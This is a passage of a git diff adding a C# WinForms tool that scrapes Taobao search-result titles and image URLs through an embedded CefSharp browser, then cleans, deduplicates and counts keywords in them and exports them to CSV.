this.checkBox1.UseVisualStyleBackColor = true; + // + // label14 + // + this.label14.AutoSize = true; + this.label14.Location = new System.Drawing.Point(133, 83); + this.label14.Name = "label14"; + this.label14.Size = new System.Drawing.Size(18, 17); + this.label14.TabIndex = 645; + this.label14.Text = "--"; + // + // endPriceTextBox + // + this.endPriceTextBox.Location = new System.Drawing.Point(154, 80); + this.endPriceTextBox.Name = "endPriceTextBox"; + this.endPriceTextBox.Size = new System.Drawing.Size(31, 23); + this.endPriceTextBox.TabIndex = 644; + // + // startPriceTextBox + // + this.startPriceTextBox.Location = new System.Drawing.Point(99, 80); + this.startPriceTextBox.Name = "startPriceTextBox"; + this.startPriceTextBox.Size = new System.Drawing.Size(31, 23); + this.startPriceTextBox.TabIndex = 643; + // + // priceCheckBox + // + this.priceCheckBox.AutoSize = true; + this.priceCheckBox.Location = new System.Drawing.Point(16, 81); + this.priceCheckBox.Name = "priceCheckBox"; + this.priceCheckBox.Size = new System.Drawing.Size(75, 21); + this.priceCheckBox.TabIndex = 642; + this.priceCheckBox.Text = "价格区间"; + this.priceCheckBox.UseVisualStyleBackColor = true; + // + // titleLengthTextBox + // + this.titleLengthTextBox.Location = new System.Drawing.Point(99, 51); + this.titleLengthTextBox.Name = "titleLengthTextBox"; + this.titleLengthTextBox.Size = new System.Drawing.Size(31, 23); + this.titleLengthTextBox.TabIndex = 641; + // + // titleLengthCheckBox + // + this.titleLengthCheckBox.AutoSize = true; + this.titleLengthCheckBox.Location = new System.Drawing.Point(16, 53); + this.titleLengthCheckBox.Name = "titleLengthCheckBox"; + this.titleLengthCheckBox.Size = new System.Drawing.Size(88, 21); + this.titleLengthCheckBox.TabIndex = 640; + this.titleLengthCheckBox.Text = "删除长度 <"; + this.titleLengthCheckBox.UseVisualStyleBackColor = true; + // + // btnCaptureTitleZc + // + this.btnCaptureTitleZc.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnCaptureTitleZc.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnCaptureTitleZc.DisabledBackColor = System.Drawing.Color.Empty; + this.btnCaptureTitleZc.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnCaptureTitleZc.Location = new System.Drawing.Point(303, 22); + this.btnCaptureTitleZc.Name = "btnCaptureTitleZc"; + this.btnCaptureTitleZc.Size = new System.Drawing.Size(60, 23); + this.btnCaptureTitleZc.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnCaptureTitleZc.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCaptureTitleZc.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCaptureTitleZc.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnCaptureTitleZc.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnCaptureTitleZc.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnCaptureTitleZc.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnCaptureTitleZc.Style.GradientAngle = 90; + this.btnCaptureTitleZc.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnCaptureTitleZc.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnCaptureTitleZc.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnCaptureTitleZc.TabIndex = 639; + this.btnCaptureTitleZc.Text = "抓取标题"; + this.btnCaptureTitleZc.Click += new System.EventHandler(this.btnCaptureTitleZc_Click); + // + // btnCollectZc + // + this.btnCollectZc.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnCollectZc.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnCollectZc.DisabledBackColor = System.Drawing.Color.Empty; + this.btnCollectZc.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnCollectZc.Location = new System.Drawing.Point(230, 22); + this.btnCollectZc.Name = "btnCollectZc"; + this.btnCollectZc.Size = new System.Drawing.Size(60, 23); + this.btnCollectZc.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnCollectZc.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCollectZc.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCollectZc.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnCollectZc.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnCollectZc.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnCollectZc.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnCollectZc.Style.GradientAngle = 90; + this.btnCollectZc.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnCollectZc.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnCollectZc.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnCollectZc.TabIndex = 635; + this.btnCollectZc.Text = "开始采集"; + this.btnCollectZc.Click += new System.EventHandler(this.btnCollectZc_Click); + // + // txbSearchWord + // + // + // + // + this.txbSearchWord.Border.Class = "TextBoxBorder"; + this.txbSearchWord.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txbSearchWord.Location = new System.Drawing.Point(16, 22); + this.txbSearchWord.Name = "txbSearchWord"; + this.txbSearchWord.PreventEnterBeep = true; + this.txbSearchWord.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.txbSearchWord.Size = new System.Drawing.Size(208, 23); + this.txbSearchWord.TabIndex = 630; + this.txbSearchWord.WatermarkText = "输入关键词/URL"; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.descriptionTextBox); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 0, 4); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.dataGridViewX1); + this.splitContainer2.Panel2.Padding = new System.Windows.Forms.Padding(0, 0, 4, 4); + this.splitContainer2.Size = new System.Drawing.Size(1280, 644); + this.splitContainer2.SplitterDistance = 635; + this.splitContainer2.TabIndex = 0; + // + // descriptionTextBox + // + // + // + // + this.descriptionTextBox.BackgroundStyle.Class = "RichTextBoxBorder"; + this.descriptionTextBox.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.descriptionTextBox.Dock = System.Windows.Forms.DockStyle.Fill; + this.descriptionTextBox.Location = new System.Drawing.Point(4, 0); + this.descriptionTextBox.Name = "descriptionTextBox"; + this.descriptionTextBox.Rtf = "{\\rtf1\\ansi\\deff0\\nouicompat{\\fonttbl{\\f0\\fnil\\fcharset134 \\\'ce\\\'a2\\\'c8\\\'ed\\\'d1\\\'" + + "c5\\\'ba\\\'da;}}\r\n{\\*\\generator Riched20 10.0.19041}\\viewkind4\\uc1 \r\n\\pard\\f0\\fs18\\" + + "lang2052 .\\par\r\n}\r\n"; + this.descriptionTextBox.Size = new System.Drawing.Size(631, 640); + this.descriptionTextBox.TabIndex = 1; + this.descriptionTextBox.Text = "."; + // + // dataGridViewX1 + // + this.dataGridViewX1.AllowUserToAddRows = false; + this.dataGridViewX1.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dataGridViewX1.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dataGridViewX1.BackgroundColor = System.Drawing.Color.White; + this.dataGridViewX1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dataGridViewX1.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dataGridViewX1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dataGridViewX1.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colId, + this.colKeywords, + this.colFrequency, + this.colDel}); + this.dataGridViewX1.Dock = System.Windows.Forms.DockStyle.Fill; + this.dataGridViewX1.Location = new System.Drawing.Point(0, 0); + this.dataGridViewX1.Name = "dataGridViewX1"; + this.dataGridViewX1.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dataGridViewX1.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dataGridViewX1.RowTemplate.Height = 23; + this.dataGridViewX1.Size = new System.Drawing.Size(637, 640); + this.dataGridViewX1.TabIndex = 7; + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.False; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 41; + // + // colId + // + this.colId.HeaderText = "序号"; + this.colId.Name = "colId"; + this.colId.ReadOnly = true; + this.colId.Width = 150; + // + // colKeywords + // + this.colKeywords.HeaderText = "关键词"; + this.colKeywords.Name = "colKeywords"; + this.colKeywords.ReadOnly = true; + this.colKeywords.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colKeywords.Width = 350; + // + // colFrequency + // + this.colFrequency.HeaderText = "出现频率"; + this.colFrequency.Name = "colFrequency"; + this.colFrequency.ReadOnly = true; + this.colFrequency.Width = 60; + // + // colDel + // + this.colDel.HeaderText = "删除"; + this.colDel.Name = "colDel"; + this.colDel.ReadOnly = true; + this.colDel.Width = 60; + // + // KeywordsCatchFrom + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(1280, 800); + this.Controls.Add(this.panel2); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "KeywordsCatchFrom"; + this.Padding = new System.Windows.Forms.Padding(0); + this.ShowMaximizeBox = true; + this.Text = "抓词工具"; + this.TitleText = "抓词工具"; + this.Load += new System.EventHandler(this.KeywordsCatchFrom_Load); + this.Controls.SetChildIndex(this.panel2, 0); + this.panel2.ResumeLayout(false); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ucGroupBoxEx2.ResumeLayout(false); + this.ucGroupBoxEx2.PerformLayout(); + this.ucGroupBoxEx1.ResumeLayout(false); + this.ucGroupBoxEx1.PerformLayout(); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dataGridViewX1)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.SplitContainer splitContainer1; + private DevComponents.DotNetBar.Controls.TextBoxX txbSearchWord; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + private UserComponent.UcGroupBoxEx ucGroupBoxEx2; + private System.Windows.Forms.TextBox newWordTextBox; + private DevComponents.DotNetBar.PanelEx wordReplaceButtonX; + private System.Windows.Forms.TextBox oldWordTextBox; + private DevComponents.DotNetBar.PanelEx participleButtonX; + private DevComponents.DotNetBar.PanelEx toSpecialButtonX; + private DevComponents.DotNetBar.PanelEx remDataButtonX; + private DevComponents.DotNetBar.PanelEx keyWordShortButtonX; + private DevComponents.DotNetBar.PanelEx toRepeatButtonX; + private DevComponents.DotNetBar.PanelEx removeEnglishButtonX; + private DevComponents.DotNetBar.PanelEx IrregularitiesButtonX; + private DevComponents.DotNetBar.PanelEx keyWordLengthButtonX; + private System.Windows.Forms.CheckBox checkBox1; + private System.Windows.Forms.Label label14; + private System.Windows.Forms.TextBox endPriceTextBox; + private System.Windows.Forms.TextBox startPriceTextBox; + private System.Windows.Forms.CheckBox priceCheckBox; + private System.Windows.Forms.TextBox titleLengthTextBox; + private System.Windows.Forms.CheckBox titleLengthCheckBox; + private DevComponents.DotNetBar.PanelEx btnCaptureTitleZc; + private DevComponents.DotNetBar.PanelEx btnCollectZc; + private DevComponents.DotNetBar.PanelEx exportButtonX; + private System.Windows.Forms.SplitContainer splitContainer2; + private DevComponents.DotNetBar.Controls.RichTextBoxEx descriptionTextBox; + private UserComponent.DataGridViewEx dataGridViewX1; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colId; + private System.Windows.Forms.DataGridViewTextBoxColumn colKeywords; + private System.Windows.Forms.DataGridViewTextBoxColumn colFrequency; + private System.Windows.Forms.DataGridViewTextBoxColumn colDel; + private DevComponents.DotNetBar.PanelEx btnPicToMain; + private DevComponents.DotNetBar.PanelEx btnPicToContent; + private DevComponents.DotNetBar.PanelEx btnChangeFissionTitle; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/KeywordsForms/KeywordsCatchFrom.cs b/TEMUKJD/KJDForms/ToolForms/KeywordsForms/KeywordsCatchFrom.cs new file mode 100644 index 0000000..2f58dbe --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/KeywordsForms/KeywordsCatchFrom.cs @@ -0,0 +1,639 @@ +using AllBase; +using CefSharp; +using CefSharp.WinForms; +using LittleRabbit.Helper; +using LittleRabbit.LittleRabbitForms.BaseForms; +using LittleRabbit.LittleRabbitForms.UploadForms; +using NaiBa.CefHelper.Handler; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BLL.Upload; +using Work.CollectClass; + +namespace LittleRabbit.LittleRabbitForms.ToolForms.KeywordsForms +{ + public partial class KeywordsCatchFrom : LRBaseForm + { + public Fission fission = null; + + private bool IsCf = false; + private string tempUrl = ""; + public delegate void delegateView(); + private List titleList = new List(); // 用于存储标题集合 + public ChromiumWebBrowser cwbSearchTitle; // 用于根据关键词采集标题 + private List TemptitleList = new List();//用于存储标题的临时集合 + + public KeywordsCatchFrom() + { + InitializeComponent(); + } + + private void KeywordsCatchFrom_Load(object sender, EventArgs e) + { + } + + private void btnCollectZc_Click(object sender, EventArgs e) + { + if (txbSearchWord.Text.Trim().Length == 0) + { + BaseMsgForm.ShowInfo("请输入关键词!", "提示"); + return; + } + titleList.Clear(); + DisabledCaptureTitleZc(); + //TemptitleList.Clear(); + string targetUrl; + //根据文本框内容判断是网址还是关键词 + if (txbSearchWord.Text.Trim().Contains("/")) + { + targetUrl = txbSearchWord.Text.Trim(); + } + else + { + targetUrl = "https://s.taobao.com/search?initiative_id=tbindexz_20170306&ie=utf8&spm=a21bo.2017.201856-taobao-item.2&sourceId=tb.index&search_type=item&ssid=s5-e&commend=all&imgfile=&q=" + txbSearchWord.Text.Trim() + "&suggest=history_1&_input_charset=utf-8&wq=&suggest_query=&source=suggest"; + if (priceCheckBox.Checked) + { + string minPrice = startPriceTextBox.Text; + string maxPrice = endPriceTextBox.Text; + targetUrl += "&filter=reserve_price%5B" + minPrice + "%2C" + maxPrice + "%5D"; + } + } + + if (cwbSearchTitle != null) + { + cwbSearchTitle.Load(targetUrl); + cwbSearchTitle.Visible = true; + return; + } + cwbSearchTitle = new ChromiumWebBrowser(targetUrl) { Dock = DockStyle.Fill, Visible = true }; + splitContainer1.Panel2.Controls.Add(cwbSearchTitle); + cwbSearchTitle.BringToFront(); + cwbSearchTitle.AddressChanged += CwbSearchTitle_AddressChanged; //url 地址有变化 则触发 add by tl 20190227 + cwbSearchTitle.FrameLoadEnd += cwbSearchTitle_FrameLoadEnd; + cwbSearchTitle.LifeSpanHandler = new LifeSpanHandlerLocal(PopWindowType.SelfWindow); + cwbSearchTitle.KeyboardHandler = new KeyboardHandler(); + } + + /// + /// url 有变化时 则触发 add by tl 20190228 + /// + /// + /// + private void CwbSearchTitle_AddressChanged(object sender, AddressChangedEventArgs e) + { + Invoke(new delegateView(DisabledCaptureTitleZc)); + if (!IsCf) + { + if (e.Address.Contains("https://s.taobao.com/search/_____tmd_____/verify/?nc_token=")) + { + IsCf = true; + cwbSearchTitle.Load(tempUrl); + return; + } + + } + //判断url是否有变化 有变化则需要load一下,这样获取网页源码才能有变化 add by tl 20190228 + if (tempUrl != e.Address) + { + tempUrl = e.Address; //临时存储url + cwbSearchTitle.Load(e.Address); + } + //点击页面排序时 清空集合 add by tl 20190228 + if (e.Address.Contains("default") || e.Address.Contains("sale-desc") || e.Address.Contains("credit-desc")) + { + + if (e.Address.Contains("default&") || e.Address.Contains("sale-desc&") || e.Address.Contains("credit-desc&")) + { + //TempSort = "default&"; + } + else + { + + titleList.Clear(); + TemptitleList.Clear(); + return; + } + } + } + + /// + /// 禁用抓取标题 add by tl 20190304 + /// + public void DisabledCaptureTitleZc() + { + btnCaptureTitleZc.Enabled = false; + } + + /// + /// 界面加载完成时 add by tl 20190228 + /// + /// + /// + private void cwbSearchTitle_FrameLoadEnd(object sender, FrameLoadEndEventArgs e) + { + //界面加载完成则获取标题 add by tl 20190228 + new Thread(GetData).Start(); + } + + /// + /// 获取标题 add by tl 20190228 + /// + private void GetData() + { + var task = cwbSearchTitle.GetSourceAsync(); + task.Wait(); + string html = task.Result; + + string sContent = task.Result; + if (sContent.Length == 0) return; + string strReg = "g_page_config = [^<]+"; + var titleCon = BaseRegex.GetMatchRegex(ref sContent, strReg); + if (titleCon.Count == 0) + { + return; + } + int titleLength = titleLengthTextBox.Text == "" ? 0 : Convert.ToInt32(titleLengthTextBox.Text);//去除标题小于这个长度的 + string content = titleCon[0].Groups[0].Value; + string regTitle = "\"raw_title\":\"([\\s\\S]+?)\""; + string regPrice = "\"view_price\":\"([\\s\\S]+?)\""; + string regSales = "\"view_sales\":\"(\\d*)人付款\""; + var priceArr = BaseRegex.GetMatchRegex(ref content, regPrice); + var titleArr = BaseRegex.GetMatchRegex(ref content, regTitle); + var salesArr = BaseRegex.GetMatchRegex(ref content, regSales); + if (titleArr.Count > 0) + { + for (int i = 0; i < titleArr.Count; i++) + { + string titleItem = titleArr[i].Value; + if (titleLengthCheckBox.Checked)//判断标题长度够不够 + { + int titleItemLength = titleItem.Length; + if (titleItemLength <= titleLength) + { + continue; + } + } + + if (checkBox1.Checked && salesArr.Count == titleArr.Count) + { + string sales = salesArr[i].Value; + if (BaseRegex.GetStringJson(ref sales, "view_sales") == "0人付款") + continue; + } + string title = BaseRegex.GetStringJson(ref titleItem, "raw_title"); + titleList.Add(title.Replace("\"", "")); + } + + }; + if (titleList.Count > 0) + { + Invoke(new delegateView(EnabledCaptureTitleZc)); + } + //Invoke(new delegateView(ShowView)); + //cwbSearchTitle.Visible = false; + } + + /// + /// 显示抓取标题 add by tl 20190304 + /// + public void EnabledCaptureTitleZc() + { + btnCaptureTitleZc.Enabled = true; + } + + private void btnCaptureTitleZc_Click(object sender, EventArgs e) + { + //titleList.Clear(); + descriptionTextBox.Text = ""; + + if (cwbSearchTitle == null) return; + + //将数据显示到文本框中 add by tl 20190228 + Invoke(new delegateView(ShowView)); + cwbSearchTitle.Visible = false;//显示控件 add by tl 20190228 + } + + public void ShowView() + { + descriptionTextBox.Clear(); + //if (TemptitleList.Count <= 0) return; + //获取标题临时变量赋值,同时去重 add by tl 20190228 + titleList = titleList.Distinct().ToList(); + for (int i = 0; i < titleList.Count; i++) + { + descriptionTextBox.AppendText(titleList[i] + "\r\n"); + } + } + + private void keyWordLengthButtonX_Click(object sender, EventArgs e) + { + Reload(); + titleList = titleList.OrderByDescending(s => s.Length).ToList(); + Invoke(new delegateView(ShowView)); + } + + private void Reload() + { + titleList.Clear(); + string[] l = descriptionTextBox.Text.Split('\n'); + for (int i = 0; i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i])) + continue; + l[i] = l[i].Trim(); + titleList.Add(l[i]); + } + } + + private void keyWordShortButtonX_Click(object sender, EventArgs e) + { + Reload(); + titleList = titleList.OrderBy(s => s.Length).ToList(); + Invoke(new delegateView(ShowView)); + } + + private void removeEnglishButtonX_Click(object sender, EventArgs e) + { + Reload(); + new Thread(RemoveEnglish).Start(); + } + + public void RemoveEnglish() + { + for (int i = 0; i < titleList.Count; i++) + { + string pattern = @"[A-Za-z]{3,}"; + var viewMatch = BaseRegex.GetMatchRegex(titleList[i], pattern); + if (viewMatch != null && viewMatch.Count > 0) + { + for (int j = 0; j < viewMatch.Count; j++) + { + string englishstr = viewMatch[j].Groups[0].Value; + titleList[i] = titleList[i].Replace(englishstr, "").Replace(" ", ""); + } + + } + } + Invoke(new delegateView(ShowView)); + } + + private void toSpecialButtonX_Click(object sender, EventArgs e) + { + Reload(); + for (int i = 0; i < titleList.Count; i++) + { + titleList[i] = ReplaceStr(titleList[i]); + } + Invoke(new delegateView(ShowView)); + } + + public static string ReplaceStr(string str) + { + str = str.Replace(",", ""); + str = str.Replace("'", ""); + str = str.Replace(";", ""); + str = str.Replace(":", ""); + str = str.Replace("/", ""); + str = str.Replace("?", ""); + str = str.Replace("<", ""); + str = str.Replace(">", ""); + str = str.Replace(".", ""); + str = str.Replace("#", ""); + str = str.Replace("%", ""); + str = str.Replace("%", ""); + str = str.Replace("^", ""); + str = str.Replace("//", ""); + str = str.Replace("@", ""); + str = str.Replace("(", ""); + str = str.Replace(")", ""); + str = str.Replace("*", ""); + str = str.Replace("~", ""); + str = str.Replace("`", ""); + str = str.Replace("$", ""); + str = str.Replace(" ", ""); + return str; + } + + private void IrregularitiesButtonX_Click(object sender, EventArgs e) + { + Reload(); + + for (int i = 0; i < titleList.Count; i++) + { + for (int j = 0; j < UploadProductBLL.FilterTitleWordList.Count; j++) + { + if (titleList[i].Contains(UploadProductBLL.FilterTitleWordList[j])) + titleList[i] = titleList[i].Replace(UploadProductBLL.FilterTitleWordList[j], ""); + } + for (int j = 0; j < UploadProductBLL.FilterRemoveTitleWordList.Count; j++) + { + if (titleList[i].Contains(UploadProductBLL.FilterRemoveTitleWordList[j])) + titleList[i] = titleList[i].Replace(UploadProductBLL.FilterRemoveTitleWordList[j], ""); + } + for (int j = 0; j < UploadProductBLL.FilterBrandWordList.Count; j++) + { + if (titleList[i].Contains(UploadProductBLL.FilterBrandWordList[j])) + titleList[i] = titleList[i].Replace(UploadProductBLL.FilterBrandWordList[j], ""); + } + } + Invoke(new delegateView(ShowView)); + } + + private void remDataButtonX_Click(object sender, EventArgs e) + { + Reload(); + for (int i = 0; i < titleList.Count; i++) + { + string pattern = @"[\d]+"; + var viewMatch = BaseRegex.GetMatchRegex(titleList[i], pattern); + + if (viewMatch != null && viewMatch.Count > 0) + { + for (int j = 0; j < viewMatch.Count; j++) + { + string englishstr = viewMatch[j].Groups[0].Value; + titleList[i] = titleList[i].Replace(englishstr, "").Replace(" ", ""); + } + + } + } + Invoke(new delegateView(ShowView)); + } + + private void toRepeatButtonX_Click(object sender, EventArgs e) + { + Reload(); + titleList = titleList.Distinct().ToList(); + Invoke(new delegateView(ShowView)); + } + + Dictionary keys = new Dictionary(); + private void participleButtonX_Click(object sender, EventArgs e) + { + Reload(); + keys.Clear(); + dataGridViewX1.Rows.Clear(); + for (int i = 0; i < titleList.Count; i++) + { + GetFenCi(titleList[i]); + } + var keylist = keys.ToList(); + keylist = keylist.OrderByDescending(u => u.Value).ToList(); + for (int i = 0; i < keylist.Count; i++) + { + dataGridViewX1.Rows.Add(dataGridViewX1.Rows.Count + 1, keylist[i].Key, keylist[i].Value, "删除"); + } + } + + public static Dictionary Keywords = new Dictionary(); + public void GetFenCi(string title) + { + for (int i = 2; i < title.Length; i++) + { + for (int j = 0; j < title.Length - i; j++) + { + string key = title.Substring(j, i).Trim(); + if (string.IsNullOrEmpty(key)) + continue; + if (Keywords.ContainsKey(key)) + { + if (!keys.ContainsKey(key)) + { + keys.Add(key, 1); + } + else + { + keys[key] = keys[key] + 1; + } + } + } + } + } + + private void wordReplaceButtonX_Click(object sender, EventArgs e) + { + string oldWord = this.oldWordTextBox.Text; + string newWord = this.newWordTextBox.Text; + if (string.IsNullOrEmpty(oldWord)) // 替换的字符不能为空 否则程序报错 add by tl20190301 + { + BaseMsgForm.ShowInfo("需要替换的字符不能为空!"); + return; + } + + descriptionTextBox.Text = descriptionTextBox.Text.Replace(oldWord, newWord); + } + + private void exportButtonX_Click(object sender, EventArgs e) + { + SaveFileDialog dialog = new SaveFileDialog(); + dialog.Title = "Save file as..."; + dialog.Filter = "Excel files (*.csv)|*.csv|All files (*.*)|*.*"; + dialog.RestoreDirectory = true; + + dialog.FileName = "淘宝关键词:" + DateTime.Now.ToString("yyyy-MM-dd") + ".csv"; + if (dialog.ShowDialog() != DialogResult.OK) + return; + OutExcel.SaveFile(dialog.FileName, dataGridViewX1); + } + + private void btnPicToMain_Click(object sender, EventArgs e) + { + if (cwbSearchTitle == null || !cwbSearchTitle.IsBrowserInitialized) + { + BaseMsgForm.ShowInfo("网页加载失败!"); + return; + } + + // 详情页转主图 + if (cwbSearchTitle.Address.Contains("tmall.com/item.htm?") || cwbSearchTitle.Address.Contains("taobao.com/item.htm?")) + { + //9787030687623 + var jsStr = "function getImgUrl() {" + + " var imgStr = '';" + + " var mainPicControls = document.getElementsByClassName('tb-thumb tb-clearfix');" + + " if (mainPicControls.length === 0) {" + + " var uls = document.getElementsByTagName('ul');" + + " for (i = 0; i < uls.length; i++) {" + + " if (uls[i].className.indexOf('PicGallery--thumbnails') >= 0) {" + + " imgStr = uls[i].innerHTML;" + + " break;" + + " }" + + " }" + + " }" + + " else {" + + " imgStr = mainPicControls[0].innerHTML;" + + " }" + + " return imgStr;" + + "} " + + "getImgUrl();"; + + var t1 = cwbSearchTitle.GetMainFrame().EvaluateScriptAsync(jsStr); + t1.Wait(); + var html = t1.Result?.Result?.ToString(); + if (!string.IsNullOrEmpty(html)) + { + var res = BaseRegex.GetMatchRegex(ref html, " src=\"([\\s\\S]+?)\""); + + var htmlTempArr = res.Cast().Select(m => m.ToString()).ToArray(); + htmlTempArr = htmlTempArr.Where(s => !s.EndsWith("/s.gif")).ToArray(); + var htmlList = new List(); + foreach (var str in htmlTempArr) + { + var strTemp = str.Trim().Replace("src=", "").Trim('\"').Replace(".jpg_230x230", "").Replace("_.webp", ""); + if (strTemp.Contains(".jpg_")) + strTemp = strTemp.Substring(0, strTemp.IndexOf(".jpg_")) + ".jpg"; + if (!strTemp.StartsWith("http")) + strTemp = "https://" + strTemp.Trim('/'); + htmlList.Add(strTemp); + } + + Task.Run(() => + { + if (fission != null) + fission.MulitAddMainImageWithCatchWords(htmlList); + Invoke(new Action(() => { BaseMsgForm.ShowInfo("图片转主完成!"); })); + }); + } + else + BaseMsgForm.ShowInfo("图片转主失败!"); + + + return; + //var address = cwbSearchTitle.Address; + //var id = BaseRegex.GetMatchRegexString(ref address, "id=(\\d{5,15})"); + + //if (!string.IsNullOrEmpty(id)) + //{ + // Task.Run(() => + // { + // ProductCollectBase pcb = new ProductCollectBase + // { + // from_url = "https://item.taobao.com/item.htm?id=" + id, + // from_id = Convert.ToInt64(id), + // }; + // TaobaoMobileCollect tm = new TaobaoMobileCollect(pcb); + // tm.Get(); + // if (tm.Product != null && tm.Product.Images?.Count > 0 == true) + // { + // var htmlList = new List(); + // foreach (var str in tm.Product.Images) + // { + // htmlList.Add(str.Replace(".jpg_230x230", "").Replace("_.webp", "")); + // } + + // if (fission != null) + // { + // fission.MulitAddMainImageWithCatchWords(htmlList); + // Invoke(new Action(() => { BaseMsgForm.ShowInfo("图片转主完成!"); })); + // } + // } + // }); + //} + } + // 搜索页转主图 + else + { + var jsStr = "function getImgUrl() {" + + " var imgs = document.getElementsByClassName('J_ItemPic 